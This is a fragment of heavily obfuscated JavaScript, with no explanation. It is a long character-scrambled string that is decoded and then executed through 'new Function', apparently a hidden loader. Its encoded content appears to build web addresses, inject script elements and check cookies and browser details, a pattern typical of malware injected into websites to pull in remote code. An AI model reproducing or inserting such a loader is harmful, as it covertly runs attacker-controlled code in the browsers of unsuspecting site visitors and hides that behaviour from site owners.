F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@/h^/}0sjR8_77(o)@7_J"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"}0s"=^8"_77(o)@7_J"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"}0sqSDqm:Q2QDS)dmRT4"="}0s5FDqm50SO1nd7mRT4"="}0s)5Dqm:Q2QDS)dmRT4"="}0sDLDqm50SO1nd7mRT4"="}0s^FDqm:Q2QDS)dmRT4"="}0sfLDqm50SO1nd7mRT4"="}0s(5Dqm:Q2QDS)dmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{@"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP}0sSCqL)((mR4s4n)L2mRT4gQ@{@/((/}0sj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP}0sSCqL)((mR4s4n)L2mRT4gQ@{@/((/}0sj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@/f/}0sj(8}vR8_77(o)@7_J"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();